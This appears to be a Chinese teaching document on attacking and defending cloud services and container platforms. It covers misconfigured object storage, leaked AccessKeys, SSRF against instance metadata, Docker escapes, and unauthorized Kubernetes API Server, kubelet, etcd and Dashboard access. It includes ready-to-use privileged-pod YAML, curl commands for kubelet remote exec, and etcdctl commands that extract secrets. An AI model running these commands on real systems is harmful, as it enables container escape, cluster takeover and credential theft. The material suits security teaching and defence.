云服务与云原生攻防全解析教学文档
一、 云上攻防
1.1 云服务安全-基础解释
云服务(Cloud Service)
一种通过互联网按需提供计算资源、存储、数据库、网络、软件等服务的模式,无需用户直接管理底层基础设施。
云数据库(RDS - Relational Database Service)
云服务商提供的托管式关系型数据库服务,负责处理数据库的安装、维护、备份、扩容等运维工作,用户主要通过公网或内网连接使用。
身份和访问管理(IAM)
云平台的核心安全服务,用于管理和控制用户、服务对云资源的访问权限。核心是最小权限原则。
对象存储(Object Storage)
核心定义:一种用于存储海量非结构化数据(如图片、视频、文档、备份文件等)的服务。数据以“对象”为单位存储,每个对象包含数据本身、元数据和一个全局唯一的标识符(Key)。
各厂商产品命名:
- 阿里云:OSS (Object Storage Service)
- 腾讯云:COS (Cloud Object Storage)
- 亚马逊AWS:S3 (Simple Storage Service)
- 谷歌云:GCS (Google Cloud Storage)
核心概念:Bucket
- 类似于文件系统中的顶层目录或存储桶,是对象的容器。
- 每个Bucket的名称必须在整个云平台内全局唯一。
- 存储和访问控制策略通常在Bucket级别进行配置。
1.2 云服务攻防-对象存储安全
风险 1:权限配置不当
Bucket ACL 权限类型及风险:
private:私有,仅所有者可读写(安全)。public-read:公共读,任何人可读,仅所有者可写(高风险,易导致敏感数据泄露)。public-read-write:公共读写,任何人可读写(极高风险,可能导致数据被篡改、上传恶意文件)。
实战利用方法:
- 信息收集:通过特定域名格式猜测Bucket名称(如
{bucket-name}.oss-{region}.aliyuncs.com)。 - 权限探测:
- 直接通过浏览器或
curl访问目标Bucket的URL。 - 使用工具进行扫描,如
oss-internet、S3Scanner、cloud_enum。
- 直接通过浏览器或
- 数据利用:若配置为
public-read,可直接浏览、列出、下载存储桶内的敏感文件。
风险 2:域名解析接管
漏洞原理:
用户将自定义域名(如 static.example.com)通过CNAME记录解析到云服务商的对象存储端点(如 my-bucket.oss-cn-hangzhou.aliyuncs.com)。之后,若该存储桶被删除或配置更改,但域名解析记录未被移除,攻击者可以抢先注册同名的存储桶,从而接管该域名的流量。
漏洞判断与利用步骤:
- 发现域名:收集目标的子域名,特别是那些可能指向云存储的(如
static,assets,media)。 - 检查解析:使用
dig或nslookup确认域名是否CNAME解析到云服务端点。 - 尝试接管:尝试在对应的云平台上创建同名Bucket。
- 验证利用:访问该域名,若内容由攻击者控制,则证明接管成功。可用于挂马、钓鱼、窃取数据等。
防御建议:
- 及时清理无效的DNS解析记录。
- 使用难以猜测的Bucket名称。
- 对已删除的Bucket名称进行保留注册。
风险 3:AccessKey 泄露
AccessKey 作用与泄露场景:
- 作用:AccessKey(由AccessKey ID和AccessKey Secret组成)是访问云API的密钥,相当于用户名和密码,拥有明确的权限。
- 泄露场景:
- 代码仓库(GitHub等)硬编码泄露。
- 客户端应用、网页源代码中泄露。
- 员工电脑中毒,文件被窃取。
- 错误日志记录。
实战利用方法:
- 获取AccessKey:通过上述渠道发现AccessKey。
- 配置客户端:使用云服务商提供的命令行工具(如
aliyun CLI,aws CLI)或SDK,配置泄露的AccessKey。 - 权限探测:使用命令行工具执行命令,如
aliyun oss ls(列出Bucket)、aliyun ram GetUser(获取用户信息)来探测该Key的权限。 - 利用权限:
- 若权限过大,可直接列出、下载、删除Bucket数据。
- 创建高权限用户,维持持久访问。
- 甚至可创建或销毁云服务器实例。
防御建议:
- 遵循最小权限原则,为应用程序分配仅所需权限的RAM用户/角色。
- 严禁在代码、客户端中硬编码AccessKey,使用动态凭证(如STS Token)或服务器端代理。
- 启用配置检查,对Bucket的公共读策略进行告警。
- 定期轮转AccessKey。
1.3 云服务攻防-弹性计算服务安全
服务定义与命名:
- 弹性计算服务(ECS):提供可扩展的计算能力,即云服务器(虚拟机)。
- 阿里云:ECS (Elastic Compute Service)
- 亚马逊AWS:EC2 (Elastic Compute Cloud)
- 腾讯云:CVM (Cloud Virtual Machine)
核心风险:元数据泄露与 SSRF 结合
元数据(Instance Metadata)定义:
云服务器实例内部用于访问自身元数据的服务。通过一个固定的内网IP地址(如阿里云 100.100.100.200,AWS 169.254.169.254)即可获取实例的详细信息,包括:实例ID、区域、网络配置、临时访问凭证(STS Token)等。
漏洞原理:SSRF + 元数据泄露:
当云服务器上的Web应用存在SSRF(服务器端请求伪造)漏洞时,攻击者可以诱骗应用服务器向元数据服务地址发起请求,从而获取到实例的元数据,特别是高权限的临时AccessKey。
实战利用场景与步骤:
场景 1:获取 ECS 权限后横向移动
- 已获得一台ECS的shell权限。
- 在机器内部执行
curl http://100.100.100.200/latest/meta-data/查看元数据。 - 获取临时安全令牌(
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/<role-name>)。 - 使用该临时凭证在其他权限范围内进行横向移动。
场景 2:通过 SSRF 漏洞获取临时 AK
- 发现目标网站存在SSRF漏洞(如
url=http://internal-service)。 - 利用漏洞构造请求访问元数据地址:
url=http://169.254.169.254/latest/meta-data/。 - 逐步遍历元数据路径,最终获取到临时安全令牌。
- 使用该临时凭证控制该ECS实例或其关联的云资源。
1.4 云数据库安全风险
风险 1:账户密码泄露与爆破
密码泄露场景:
- 代码泄露(GitHub)。
- 配置文件泄露。
- 传输抓包。
爆破工具与防御:
- 工具:
Hydra,Medusa, 以及各种数据库客户端自带的爆破功能。 - 防御:
- 使用强密码,避免默认密码。
- 将数据库部署在VPC内网中,限制公网访问(最重要)。
- 设置安全组/IP白名单,仅允许信任的IP访问。
风险 2:数据库连接方式与内网转发
- 即使数据库未开放公网,如果攻击者通过其他方式(如Web漏洞)获得了一台可连接数据库的内网机器的权限,可通过该机器作为“跳板”进行内网转发(如使用
reGeorg,EarthWorm等工具),从而访问内网数据库。
风险 3:AK 利用与后渗透
- 同对象存储风险,如果获取到的AccessKey具有RDS相关API的权限(如
CreateAccount,ResetAccountPassword),攻击者可通过API直接创建或重置数据库账号密码,进而登录数据库。
二、 云原生攻防
2.1 Docker 容器安全
Docker 漏洞利用
Docker 逃逸技术详解
虚拟环境判断:
- 检查
/.dockerenv文件是否存在。 - 检查
/proc/1/cgroup是否包含docker,kubepods等关键字。
逃逸方法 1:特权容器逃逸(--privileged=true)
- 原理:使用
--privileged参数启动的容器拥有宿主机所有设备的权限。 - 利用:
- 将宿主机根目录挂载到容器内:
mount /dev/sda1 /mnt - 通过
chroot切换根目录到/mnt,即可完全控制宿主机文件系统,写入SSH密钥或计划任务。
- 将宿主机根目录挂载到容器内:
逃逸方法 2:挂载 Docker Socket 逃逸
- 原理:Docker Socket文件(
/var/run/docker.sock)是Docker守护进程的API入口。将其挂载到容器内,相当于赋予了容器直接与宿主机Docker守护进程通信的能力。 - 利用:
- 在容器内安装Docker客户端,通过
-v /:/host将宿主机根目录挂载到新启动的容器中。 docker run -it -v /:/host ubuntu chroot /host bash
- 在容器内安装Docker客户端,通过
逃逸方法 3:挂载宿主机 procfs 逃逸
- 原理:误将宿主机
/proc目录挂载到容器中。/proc/sys/kernel/core_pattern文件可用于定义程序崩溃时核心转储的保存路径,通过将其设置为一个程序路径,可导致宿主机以root权限执行任意命令。 - 利用:
echo -e "|/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern- 触发一个崩溃,宿主机将执行
/tmp/.x.py。
逃逸方法 4:Docker 自身漏洞逃逸(CVE-2019-5736)
- 原理:Docker runC组件存在漏洞,允许恶意容器覆盖宿主机上的runC二进制文件,从而在宿主机上以root权限执行代码。
- 利用:使用现成的EXP(如
https://github.com/Frichetten/CVE-2019-5736-PoC)编译执行。
Docker 安全自动化工具
CDK(零依赖容器渗透工具包)
- Github项目:
https://github.com/cdk-team/CDK - 功能:综合评估容器内部环境,自动化检测多种逃逸手法(特权模式、挂载、内核漏洞等),并提供利用功能。
Container Escape Check(容器逃逸检测脚本)
- 类似功能的脚本,用于快速检测容器潜在的逃逸风险点。
2.2 Kubernetes(K8s)安全
K8s 核心概念与架构
K8s解析:用于自动部署、扩展和管理容器化应用程序的开源平台。
核心架构组件:
- Master Node (控制平面):
API Server:集群网关,所有通信的唯一入口。etcd:高可用的键值数据库,存储整个集群的状态和配置。Controller Manager:控制器,确保集群处于预期状态。Scheduler:调度器,将Pod分配至Node。
- Worker Node (工作节点):
Kubelet:节点代理,负责与管理平面通信并管理本节点的Pod和容器。Kube-Proxy:维护节点网络规则。Container Runtime:如Docker、containerd。
核心资源对象:
Pod:K8s最小部署单元,包含一个或多个容器。Deployment:定义Pod的期望状态和副本数。Service:定义一组Pod的访问方式。Namespace:虚拟集群,用于资源隔离。ConfigMap/Secret:存储配置信息和敏感数据。
K8s 安全风险核心逻辑:攻击面主要集中在各个组件(API Server, kubelet, etcd, dashboard)的未授权访问和权限过大的ServiceAccount上。
K8s漏洞利用
Ⅰ:API Server 未授权访问(8080 端口)
- 步骤 1:检测漏洞:直接访问
http://<target-ip>:8080/api或http://<target-ip>:8080/api/v1/namespaces/default/pods,若返回JSON格式的集群信息,则存在未授权。 - 步骤 2:安装 kubectl 工具:在攻击机上安装
kubectl。 - 步骤 3:配置 kubectl:
kubectl config set-cluster pwn --server=http://<target-ip>:8080 --insecure-skip-tls-verify=true&&kubectl config set-context pwn --cluster=pwn --user=anonymous&&kubectl config use-context pwn - 步骤4:通过 kubectl 操作集群:执行
kubectl get pods,kubectl get nodes等命令验证权限。 - 步骤 5:容器逃逸:若权限允许,创建特权Pod进行逃逸。
apiVersion: v1 kind: Pod metadata: name: evil-pod spec: containers: - name: evil-container image: ubuntu command: ["/bin/sh", "-c", "sleep infinity"] securityContext: privileged: true volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / hostNetwork: true hostPID: true hostIPC: truekubectl create -f evil-pod.yaml&&kubectl exec -it evil-pod -- chroot /host bash - 防御方案:禁用非安全端口(8080),对安全端口(6443)使用强认证和网络策略。
Ⅱ:API Server 6443 端口未授权访问
- 漏洞原理:与8080端口类似,但6443是TLS端口。如果配置了错误的RBAC或认证,仍可能导致未授权。
- 漏洞检测与利用:使用
curl -k https://<target-ip>:6443/api/v1/namespaces/default/pods检测。利用方式同8080端口,只需在kubectl配置中指定server=https://<target-ip>:6443。
Ⅲ:kubelet 10250 端口未授权访问
- 漏洞原理与配置错误:kubelet默认在10250端口提供API。如果启用了
--anonymous-auth=true(默认)且未配置严格的授权,可导致未授权访问。 - 漏洞检测与参数提取:
- 步骤 1:漏洞检测:
curl -k https://<target-ip>:10250/pods若返回信息,则存在。 - 步骤 2:提取关键参数(pod/namespace/container):从返回的JSON中提取
metadata.name,metadata.namespace,status.containerStatuses[0].name。
- 步骤 1:漏洞检测:
- 实战利用:
- 在Pod中执行命令:
curl -k -XPOST "https://<target-ip>:10250/run/<namespace>/<pod-name>/<container-name>" -d "cmd=whoami" - 直接获取容器shell:
curl -k -XPOST "https://<target-ip>:10250/exec/<namespace>/<pod-name>/<container-name>?command=/bin/bash&command=-i&input=1&output=1&tty=1"
- 在Pod中执行命令:
- 防御方案:设置
--anonymous-auth=false,配置kubelet的Webhook授权。
Ⅳ:etcd 2379 端口未授权访问
- 漏洞原理与 etcd 角色:etcd存储了集群所有数据(Secrets, Tokens等)。若其监听在公网或内网非安全地址,且无认证,则可直接读取。
- 漏洞检测与利用:
- 步骤 1:漏洞检测:
curl http://<target-ip>:2379/v2/keys/?recursive=true或使用etcdctl。 - 步骤 2:etcdctl 工具安装与配置:
export ETCDCTL_API=3&&etcdctl --endpoints=http://<target-ip>:2379 get / --prefix - 步骤 3:敏感数据窃取:查找Secrets:
etcdctl --endpoints=http://<target-ip>:2379 get / --prefix | grep -E '(?i)secret.*key|token|password' - 步骤 4:利用 Token 控制集群:从获取的Secret中提取
token字段,配置kubectl使用该token访问API Server。
- 步骤 1:漏洞检测:
- 防御方案:为etcd配置TLS客户端证书认证,使用防火墙严格限制访问源。
Ⅴ: Dashboard 未授权访问后的详细利用流程
- 发现
https://<target-ip>:30443(或类似端口)可未授权访问。 - 在Dashboard界面创建Pod或上传YAML文件,部署一个特权Pod(YAML同Ⅰ中步骤5)。
- 通过Dashboard的exec功能进入该Pod的shell。
- 通过挂载宿主机目录完成逃逸。
Ⅵ: Configfile 鉴权文件泄露
什么是 K8s Config 文件:kubeconfig 文件(默认 ~/.kube/config)包含集群连接信息、证书和用户认证信息。拥有此文件即拥有其包含的权限。
Config 文件的泄露途径:
- 开发人员机器被入侵。
- 代码仓库泄露。
- 容器内部遗留或挂载。
泄露后的利用步骤:
- 步骤 1:获取并验证 config 文件:检查文件内容,确认上下文(context)。
- 步骤 2:探测权限范围:
kubectl --kubeconfig=config.yaml auth can-i --list - 步骤 3:部署恶意 Pod 并逃逸(完整命令):若权限足够,使用前述YAML创建Pod并逃逸。
- 步骤 4:长期控制集群:窃取高权限ServiceAccount的token,或创建新的永久的ServiceAccount。
Ⅶ:Proxy 不安全配置
什么是 kubectl proxy:kubectl proxy 命令会在本地创建一个到API Server的代理服务器。
不安全配置的常见场景:运维人员在公网服务器上执行 kubectl proxy --address=0.0.0.0 --port=8080,导致代理服务暴露在公网。
不安全 Proxy 的利用步骤:
- 步骤 1:探测代理服务可用性:访问
http://<public-ip>:8080/api。 - 步骤 2:获取集群信息(未授权访问):直接通过浏览器或curl访问各种API端点。
- 步骤 3:执行修改操作(如创建 Pod):
curl -XPOST -H "Content-Type: application/yaml" --data-binary @evil-pod.yaml http://<public-ip>:8080/api/v1/namespaces/default/pods - 步骤 4:进入 Pod 并逃逸(同前)。
Ⅷ: K8s 环境下的污点横移
污点与容忍的核心概念:
Taint(污点):应用于Node,排斥不容忍这些污点的Pod。Toleration(容忍度):应用于Pod,允许(但不强制)Pod调度到具有匹配污点的Node上。
常见节点污点场景:Master节点通常带有 node-role.kubernetes.io/master:NoSchedule 污点,防止普通工作负载Pod调度上去。
污点横移的攻击背景:攻击者已控制一个普通Pod,希望将恶意Pod部署到受保护的Master节点上,以窃取更高敏感度的信息。
污点横移的详细利用步骤:
- 前提条件:已拥有创建Pod的权限。
- 步骤 1:获取节点污点与标签信息:
kubectl get nodes -o wide&&kubectl describe node <master-node-name> - 步骤 2:创建带容忍与亲和性的恶意 Pod(完整 YAML):
apiVersion: v1 kind: Pod metadata: name: master-pod spec: tolerations: - key: "node-role.kubernetes.io/master" operator: "Exists" effect: "NoSchedule" affinity: nodeAffinity: requiredDuringSchedulingIgnoredDuringExecution: nodeSelectorTerms: - matchExpressions: - key: kubernetes.io/hostname operator: In values: - <master-node-name> # 指定调度到master节点 containers: - name: evil image: ubuntu command: ["/bin/sh", "-c", "sleep infinity"] securityContext: privileged: true volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / - 创建该Pod后,即可通过它控制Master节点。
文档说明:本文档根据提供的链接内容提取核心知识点编纂而成,涵盖了从云服务(对象存储、计算、数据库)到云原生(Docker, Kubernetes)的主要攻击面和防御建议,结构清晰,内容详尽,可用于教学和参考。实际操作应在合法授权的环境中进行。